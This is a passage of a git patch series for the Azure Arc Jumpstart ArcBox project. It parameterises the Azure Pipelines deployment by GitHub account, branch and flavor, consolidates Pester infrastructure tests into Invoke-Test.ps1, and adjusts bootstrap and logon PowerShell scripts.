stages: azurePowerShellVersion: 'LatestVersion' Inline: | Write-Host "Deploying to $(ResourceGroupName)" + $githubAccount = $(githubAccount) + $githubBranch = $(githubBranch) + if ($githubAccount -ne "microsoft") { + Write-Host "Checking out $githubAccount/$githubBranch" + git remote add upstream git@github.com:$($githubAccount)/azure_arc.git + git fetch upstream + git checkout -b $githubBranch upstream/$githubBranch + } New-AzResourceGroupDeployment -Name ArcBox ` -ResourceGroupName $(ResourceGroupName) ` -TemplateFile azure_jumpstart_arcbox/bicep/main.bicep ` @@ -69,8 +89,8 @@ stages: logAnalyticsWorkspaceName = "arcbox-la" ; ` flavor = "ITPro" ; ` deployBastion = $false ; ` - githubAccount = "microsoft" ; ` - githubBranch = "arcbox_3.0" ; ` + githubAccount = $githubAccount ; ` + githubBranch = $githubBranch ; ` vmAutologon = $true ; ` rdpPort = "3389" ` } From 46415dd6cb1599d49ac3462849b7d629b68df6be Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 08:25:30 +0100 Subject: [PATCH 092/456] Fix variable assignment in Azure Pipelines YAML Signed-off-by: Jan Egil Ring --- azure-pipelines.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index 92077c1d42..a0f1d012eb 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -68,8 +68,8 @@ stages: azurePowerShellVersion: 'LatestVersion' Inline: | Write-Host "Deploying to $(ResourceGroupName)" - $githubAccount = $(githubAccount) - $githubBranch = $(githubBranch) + $githubAccount = "$(githubAccount)" + $githubBranch = "$(githubBranch)" if ($githubAccount -ne "microsoft") { Write-Host "Checking out $githubAccount/$githubBranch" git remote add upstream git@github.com:$($githubAccount)/azure_arc.git From c61d8e06b3ace8ebd3e17626878f2a24d743a615 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 08:31:05 +0100 Subject: [PATCH 093/456] Update git remote URL to use HTTPS instead of SSH Signed-off-by: Jan Egil Ring --- azure-pipelines.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index a0f1d012eb..b3a274301c 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -72,7 +72,7 @@ stages: $githubBranch = "$(githubBranch)" if ($githubAccount -ne "microsoft") { Write-Host "Checking out $githubAccount/$githubBranch" - git remote add upstream git@github.com:$($githubAccount)/azure_arc.git + git remote add upstream https://github.com$($githubAccount)/azure_arc.git git fetch upstream git checkout -b $githubBranch upstream/$githubBranch } From 70fdd7b1cf0c4e7458d3a748debc92b848456580 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 08:34:50 +0100 Subject: [PATCH 094/456] Fix git remote URL in azure-pipelines.yml Signed-off-by: Jan Egil Ring --- azure-pipelines.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index b3a274301c..029e772fd8 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -72,7 +72,7 @@ stages: $githubBranch = "$(githubBranch)" if ($githubAccount -ne "microsoft") { Write-Host "Checking out $githubAccount/$githubBranch" - git remote add upstream https://github.com$($githubAccount)/azure_arc.git + git remote add upstream https://github.com/$($githubAccount)/azure_arc.git git fetch upstream git checkout -b $githubBranch upstream/$githubBranch } From ec0d2b4f665f26a09dea64a0084b93917077aafc Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 08:44:25 +0100 Subject: [PATCH 095/456] Add temporary workaround for Posh-SSH module Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 2b57d2ba12..be11877bb0 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -132,6 +132,9 @@ foreach ($module in $modules) { Install-PSResource -Name $module -Scope AllUsers -Quiet -AcceptLicense -TrustRepository } +# Temporary workaround for Posh-SSH module due to: https://github.com/darkoperator/Posh-SSH/issues/558 +Install-PSResource -Name Posh-SSH -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease + # Installing DHCP service Write-Output "Installing DHCP service" Install-WindowsFeature -Name "DHCP" -IncludeManagementTools From 3e8a469d5fa981a86f8efdf31a9dd2770cb03e5b Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 09:57:50 +0100 Subject: [PATCH 096/456] Refactor test script and log file paths Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 45 +------------------ .../scripts/Send-PesterResult.ps1 | 17 ++++++- .../artifacts/tests/Invoke-Test.ps1 | 44 ++++++++++++++++++ 3 files changed, 61 insertions(+), 45 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 39c5ccb8e0..31b8cb123f 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -463,50 +463,7 @@ Set-JSDesktopBackground -ImagePath "$Env:ArcBoxDir\wallpaper.bmp" Write-Header "Running tests to verify infrastructure" -Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed -PassThru -OutVariable tests_common -$tests_passed = $tests_common.Passed.Count -$tests_failed = $tests_common.Failed.Count - -switch ($env:flavor) { - 'DevOps' { - Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_devops - $tests_passed = $tests_passed + $tests_devops.Passed.Count - $tests_failed = $tests_failed + $tests_devops.Failed.Count -} - 'DataOps' { - Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -Output Detailed -PassThru -OutVariable tests_dataops - $tests_passed = $tests_passed + $tests_dataops.Passed.Count - $tests_failed = $tests_failed + $tests_dataops.Failed.Count - } - 'ITPro' { - Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed -PassThru -OutVariable tests_itpro - $tests_passed = $tests_passed + $tests_itpro.Passed.Count - $tests_failed = $tests_failed + $tests_itpro.Failed.Count -} - 'Full' { - Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_devops - $tests_passed = $tests_passed + $tests_devops.Passed.Count - $tests_failed = $tests_failed + $tests_devops.Failed.Count - - Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_dataops - $tests_passed = $tests_passed + $tests_dataops.Passed.Count - $tests_failed = $tests_failed + $tests_dataops.Failed.Count - - Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed -PassThru -OutVariable tests_itpro - $tests_passed = $tests_passed + $tests_itpro.Passed.Count - $tests_failed = $tests_failed + $tests_itpro.Failed.Count - } -} - -Write-Output "Tests succeeded: $tests_passed" -Write-Output "Tests failed: $tests_failed" - -Write-Header "Adding deployment test results to wallpaper using BGInfo" - -Set-Content "$Env:windir\TEMP\arcbox-tests-succeeded.txt" $tests_passed -Set-Content "$Env:windir\TEMP\arcbox-tests-failed.txt" $tests_failed - -bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT +& "$Env:ArcBoxTestsDir\Invoke-Test.ps1" Write-Header "Creating deployment logs bundle" diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 index 17281f6e85..720dd72940 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -4,7 +4,22 @@ Write-Output "Get-PesterResult.ps1 started in $(hostname.exe) as user $(whoami.e $timeout = New-TimeSpan -Minutes 180 $endTime = (Get-Date).Add($timeout) -$logFilePath = "C:\ArcBox\Logs\ArcServersLogonScript.log" + + +switch ($env:flavor) { + 'DevOps' { + $logFilePath = "$Env:ArcBoxLogsDir\DevOpsLogonScript.log" +} + 'DataOps' { + $logFilePath = "$Env:ArcBoxLogsDir\DataOpsLogonScript.log" + } + 'ITPro' { + $logFilePath = "$Env:ArcBoxLogsDir\ArcServersLogonScript.log" + } + 'default' { + throw "Unknown flavor $env:flavor" + } +} Write-Output "Adding Storage Blob Data Contributor role assignment to SPN $env:spnClientId for allowing upload of Pester test results to Azure Storage" diff --git a/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 b/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 new file mode 100644 index 0000000000..6e01deba33 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 @@ -0,0 +1,44 @@ +Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed -PassThru -OutVariable tests_common +$tests_passed = $tests_common.Passed.Count +$tests_failed = $tests_common.Failed.Count + +switch ($env:flavor) { + 'DevOps' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_devops + $tests_passed = $tests_passed + $tests_devops.Passed.Count + $tests_failed = $tests_failed + $tests_devops.Failed.Count +} + 'DataOps' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -Output Detailed -PassThru -OutVariable tests_dataops + $tests_passed = $tests_passed + $tests_dataops.Passed.Count + $tests_failed = $tests_failed + $tests_dataops.Failed.Count + } + 'ITPro' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed -PassThru -OutVariable tests_itpro + $tests_passed = $tests_passed + $tests_itpro.Passed.Count + $tests_failed = $tests_failed + $tests_itpro.Failed.Count +} + 'Full' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_devops + $tests_passed = $tests_passed + $tests_devops.Passed.Count + $tests_failed = $tests_failed + $tests_devops.Failed.Count + + Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_dataops + $tests_passed = $tests_passed + $tests_dataops.Passed.Count + $tests_failed = $tests_failed + $tests_dataops.Failed.Count + + Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed -PassThru -OutVariable tests_itpro + $tests_passed = $tests_passed + $tests_itpro.Passed.Count + $tests_failed = $tests_failed + $tests_itpro.Failed.Count + } +} + +Write-Output "Tests succeeded: $tests_passed" +Write-Output "Tests failed: $tests_failed" + +Write-Header "Adding deployment test results to wallpaper using BGInfo" + +Set-Content "$Env:windir\TEMP\arcbox-tests-succeeded.txt" $tests_passed +Set-Content "$Env:windir\TEMP\arcbox-tests-failed.txt" $tests_failed + +bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT \ No newline at end of file From a7a5c66941434eeb86ab0610291580cf47a08c40 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 10:00:37 +0100 Subject: [PATCH 097/456] Add flavor parameter to azure-pipelines.yml Signed-off-by: Jan Egil Ring --- azure-pipelines.yml | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index 029e772fd8..7939984aca 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -23,6 +23,10 @@ parameters: displayName: 'githubBranch' type: string default: 'arcbox_3.0' +- name: flavor + displayName: 'flavor' + type: string + default: 'ITPro' variables: - group: 'integration-tests' @@ -32,6 +36,8 @@ variables: value: ${{parameters.githubAccount}} - name: githubBranch value: ${{parameters.githubBranch}} +- name: flavor + value: ${{parameters.flavor}} stages: - stage: 'ArcBox_deployment' @@ -70,6 +76,7 @@ stages: Write-Host "Deploying to $(ResourceGroupName)" $githubAccount = "$(githubAccount)" $githubBranch = "$(githubBranch)" + $flavor = "$(flavor)" if ($githubAccount -ne "microsoft") { Write-Host "Checking out $githubAccount/$githubBranch" git remote add upstream https://github.com/$($githubAccount)/azure_arc.git @@ -87,7 +94,7 @@ stages: windowsAdminPassword = "$(windowsAdminPassword)" ; ` sshRSAPublicKey = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsdlSaF10Uw0fFysiIV0VYeJGE1CaV0ZjZcakcKgafiqZ04sAzf7KnoIjPVyx6LXoDTKGtv1e5eFjRZA7Z0Bu+a3JqY252/yr/B2R3Mu5qZHbKFncpVEXn7sUmYk4rDG5vToFxbhpKX5EGyvM1M0quoUv3Uv9reBsSDdjk7n7oA2Q+89rj4nfRuTEMQRwvNBaLeNRSlWuzPq4EkpwxSWRzIC2auC5K0rxGiTMPTXMOQ3l0DvzKRoEsygHA4c3uw0PTntSlgSSTgtGdQfuX63hAD4QPTVfeQdsW5+Nq3clr+6SHgeGdwHhKjUVTF+E2olfSYtuV4CqPW8dZdDBOZg7pXLMSVumZVKCZiUV6uBJkvLBRMzMiFsfXOVrgyThMqq+8y4tg/V3l/3S8z5Lngy4WoCAQMHQ1SloPmy9s4QnbjCFEQx/cIq9H+Uw6HAYhdQFh/w/tuIP+KIqOpMOrltZuaoqx3AOOL3BPXJMbv3opiZxCEZQFf68n+Zn6uRc9u1EENA9s1DrjG1j/CHWzbX/t63Ig/xQLgKLu9T+evua3dcWsYc3j1Gvk8R+ioXV7x0/fi6twrhSQxBIIL0D2Pxm8TBfJ3mVXk0kYGGq1mBsoxAzjoBhcbdwUMXHbAksj4/UuuAK5VfH278hlXo/BHSgDLZ98fdS63nq7rIr6qWmBrQ==" ; ` logAnalyticsWorkspaceName = "arcbox-la" ; ` - flavor = "ITPro" ; ` + flavor = $flavor ; ` deployBastion = $false ; ` githubAccount = $githubAccount ; ` githubBranch = $githubBranch ; ` From 0f850ccf4a50698a7bba4bb02f9e30146c3b2e0a Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 11:16:10 +0100 Subject: [PATCH 098/456] Add Invoke-Test.ps1 to tests directory Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 1 + 1 file changed, 1 insertion(+) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index be11877bb0..760a49a456 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -173,6 +173,7 @@ Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/common.dsc.yml") -OutFile $ Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/virtual_machines_sql.dsc.yml") -OutFile $Env:ArcBoxDscDir\virtual_machines_sql.dsc.yml Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/arcbox-bginfo.bgi") -OutFile $Env:ArcBoxTestsDir\arcbox-bginfo.bgi Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/common.tests.ps1") -OutFile $Env:ArcBoxTestsDir\common.tests.ps1 +Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/Invoke-Test.ps1") -OutFile $Env:ArcBoxTestsDir\Invoke-Test.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/WinGet.ps1") -OutFile $Env:ArcBoxDir\WinGet.ps1 Invoke-WebRequest ($templateBaseUrl + "../tests/GHActionDeploy.ps1") -OutFile "$Env:ArcBoxDir\GHActionDeploy.ps1" Invoke-WebRequest ($templateBaseUrl + "../tests/OpenSSHDeploy.ps1") -OutFile "$Env:ArcBoxDir\OpenSSHDeploy.ps1" From 2c5dd904c6139c40aeae2b015d74cd0119c3ba44 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 11:20:06 +0100 Subject: [PATCH 099/456] Update Send-PesterResult.ps1 script with environment variables Signed-off-by: Jan Egil Ring --- .../artifacts/integration_tests/scripts/Send-PesterResult.ps1 | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 index 720dd72940..1b696fec79 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -1,5 +1,9 @@ Start-Transcript -Path C:\ArcBox\logs\Get-PesterResult.log -Force +$Env:ArcBoxDir = "C:\ArcBox" +$Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" + Write-Output "Get-PesterResult.ps1 started in $(hostname.exe) as user $(whoami.exe) at $(Get-Date)" $timeout = New-TimeSpan -Minutes 180 From 509708b6f8bf22ece0c4e14d1d7153abb5a2f6be Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 12:37:45 +0100 Subject: [PATCH 100/456] Add GitHub account and branch parameters to Wait-ArcBoxDeployment.ps1 script Signed-off-by: Jan Egil Ring --- azure-pipelines.yml | 2 +- .../integration_tests/scripts/Send-PesterResult.ps1 | 4 ++-- .../integration_tests/scripts/Wait-ArcBoxDeployment.ps1 | 8 ++++++-- azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 | 3 +++ 4 files changed, 12 insertions(+), 5 deletions(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index 7939984aca..7f3f6c576a 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -110,7 +110,7 @@ stages: ScriptType: FilePath azurePowerShellVersion: 'LatestVersion' ScriptPath: 'azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1' - ScriptArguments: -ResourceGroupName $(ResourceGroupName) + ScriptArguments: -ResourceGroupName $(ResourceGroupName) -githubAccount $(githubAccount) -githubBranch $(githubBranch) - task: AzurePowerShell@5 displayName: 'Download Pester test-results from storage account to pipeline agent' diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 index 1b696fec79..dcefeccd17 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -1,9 +1,9 @@ -Start-Transcript -Path C:\ArcBox\logs\Get-PesterResult.log -Force - $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" $Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" +Start-Transcript -Path "$Env:ArcBoxLogsDir\Get-PesterResult.log" -Force + Write-Output "Get-PesterResult.ps1 started in $(hostname.exe) as user $(whoami.exe) at $(Get-Date)" $timeout = New-TimeSpan -Minutes 180 diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 index 16f06e001b..17c26e5082 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 @@ -1,12 +1,16 @@ param( [Parameter(Mandatory=$true)] - [string]$ResourceGroupName + [string]$ResourceGroupName, + [Parameter(Mandatory=$true)] + [string]$githubAccount, + [Parameter(Mandatory=$true)] + [string]$githubBranch ) Write-Host "Starting VM Run Command to wait for deployment and retrieve Pester test results from ArcBox-Client in resource group $ResourceGroupName" $Location = (Get-AzVM -ResourceGroupName $ResourceGroupName).Location -Set-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Location $Location -SourceScriptUri "https://raw.githubusercontent.com/microsoft/azure_arc/arcbox_3.0/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1" -AsyncExecution +Set-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Location $Location -SourceScriptUri "https://raw.githubusercontent.com/$githubAccount/azure_arc/$githubBranch/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1" -AsyncExecution do { $job = Get-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Expand InstanceView diff --git a/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 b/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 index 6e01deba33..f672cf54db 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 @@ -1,3 +1,6 @@ +$Env:ArcBoxDir = "C:\ArcBox" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" + Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed -PassThru -OutVariable tests_common $tests_passed = $tests_common.Passed.Count $tests_failed = $tests_common.Failed.Count From 99099621e83eca9c0038ac2ddc069c3d6cc43397 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 13:33:22 +0100 Subject: [PATCH 101/456] Update Send-PesterResult.ps1 script to handle existing role assignments Signed-off-by: Jan Egil Ring --- .../scripts/Send-PesterResult.ps1 | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 index dcefeccd17..0169652a92 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -2,7 +2,7 @@ $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" $Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" -Start-Transcript -Path "$Env:ArcBoxLogsDir\Get-PesterResult.log" -Force +Start-Transcript -Path "$Env:ArcBoxLogsDir\Get-PesterResult_$($PID).log" -Force Write-Output "Get-PesterResult.ps1 started in $(hostname.exe) as user $(whoami.exe) at $(Get-Date)" @@ -76,10 +76,19 @@ $ClientObjectId = az ad sp list --filter "appId eq '$env:spnClientId'" --output $StorageAccount = Get-AzStorageAccount -ResourceGroupName $env:resourceGroup -$null = New-AzRoleAssignment -ObjectId $ClientObjectId.id -RoleDefinitionName "Storage Blob Data Contributor" -Scope $StorageAccount.Id +if (Get-AzRoleAssignment -ObjectId $ClientObjectId.id -RoleDefinitionName "Storage Blob Data Contributor" -Scope $StorageAccount.Id) { -Write-Output "Wait for eventual consistencty after RBAC assignment" -Start-Sleep 120 + Write-Output "Role assignment already exists" + +} else { + + Write-Output "Role assignment does not yet exist" + $null = New-AzRoleAssignment -ObjectId $ClientObjectId.id -RoleDefinitionName "Storage Blob Data Contributor" -Scope $StorageAccount.Id + + Write-Output "Wait for eventual consistency after RBAC assignment" + Start-Sleep 120 + +} Write-Output "Waiting for PowerShell transcript end in $logFilePath" From ca5579cade447514532dc53c78afb982a4051044 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Sun, 28 Jan 2024 11:12:07 +0200 Subject: [PATCH 102/456] Refactor test execution in DataOpsLogonScript.ps1 --- .../artifacts/DataOpsLogonScript.ps1 | 18 +----------------- 1 file changed, 1 insertion(+), 17 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 1eb46b06b0..ec2d3a3e13 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -350,23 +350,7 @@ Start-Sleep -Seconds 5 Write-Header "Running tests to verify infrastructure" -Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed -PassThru -OutVariable tests_common -$tests_passed = $tests_common.Passed.Count -$tests_failed = $tests_common.Failed.Count - -Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_dataops -$tests_passed = $tests_passed + $tests_dataops.Passed.Count -$tests_failed = $tests_failed + $tests_dataops.Failed.Count - -Write-Output "Tests succeeded: $tests_passed" -Write-Output "Tests failed: $tests_failed" - -Write-Header "Adding deployment test results to wallpaper using BGInfo" - -Set-Content "$Env:windir\TEMP\arcbox-tests-succeeded.txt" $tests_passed -Set-Content "$Env:windir\TEMP\arcbox-tests-failed.txt" $tests_failed - -bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT +& "$Env:ArcBoxTestsDir\Invoke-Test.ps1" # Executing the deployment logs bundle PowerShell script in a new window Write-Header "Uploading Log Bundle" From 05fb2540c340dbf2806b936ed45aa7a20581f046 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 29 Jan 2024 12:18:27 +0200 Subject: [PATCH 103/456] Add Az.CustomLocation module and update OpenSSL path --- .../artifacts/Bootstrap.ps1 | 2 +- .../artifacts/DataOpsAppScript.ps1 | 9 +---- .../artifacts/DataOpsLogonScript.ps1 | 7 ++++ .../artifacts/tests/Invoke-Test.ps1 | 2 +- .../artifacts/tests/dataops.tests.ps1 | 34 ++++++++++++++++++- 5 files changed, 43 insertions(+), 11 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 7975fbd6ea..51d8a4a5db 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -126,7 +126,7 @@ Resize-Partition -DriveLetter C -Size $(Get-PartitionSupportedSize -DriveLetter Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force Install-Module -Name Microsoft.PowerShell.PSResourceGet -Force -$modules = @("Az", "Az.ConnectedMachine", "Azure.Arc.Jumpstart.Common", "Posh-SSH", "Pester") +$modules = @("Az", "Az.ConnectedMachine", "Az.ConnectedKubernetes", "Az.CustomLocation", "Azure.Arc.Jumpstart.Common", "Posh-SSH", "Pester") foreach ($module in $modules) { Install-PSResource -Name $module -Scope AllUsers -Quiet -AcceptLicense -TrustRepository diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 index 2e2eb57d7a..dbfa3c8cdf 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 @@ -16,15 +16,8 @@ $certPassword = ConvertTo-SecureString -String $password -Force -AsPlainText Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$CName.pfx" -Password $certPassword Import-PfxCertificate -FilePath "$Env:TempDir\$CName.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword -# Add OpenSSL to path environment variable -$openSSL = "C:\Program Files\FireDaemon OpenSSL 3\bin" -$currentPathVariable = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::Machine) -$newPathVariable = $currentPathVariable + ";" + $openSSL -[Environment]::SetEnvironmentVariable("PATH", $newPathVariable, [EnvironmentVariableTarget]::Machine) - - openssl pkcs12 -in "$Env:TempDir\$CName.pfx" -nocerts -out "$Env:TempDir\$CName.key" -password pass:$password -passout pass:$password -openssl pkcs12 -in "$Env:TempDir\$CName.pfx" -clcerts -nokeys -out "$Env:TempDir\$CName.crt" -password pass:$password +openssl pkcs12 -in "$Env:TempDir\$CName.pfx" -clcerts -nokeys -out "$Env:TempDir\$CName.crt" -password pass:$password openssl rsa -in "$Env:TempDir\$CName.key" -out "$Env:TempDir\$CName-dec.key" -passin pass:$password Write-Header "Creating Ingress Controller" diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index ec2d3a3e13..456b6a3da5 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -273,6 +273,13 @@ foreach($cluster in $clusters){ } Write-Header "Deploying App" + +# Add OpenSSL to path environment variable +$openSSL = "C:\Program Files\FireDaemon OpenSSL 3\bin" 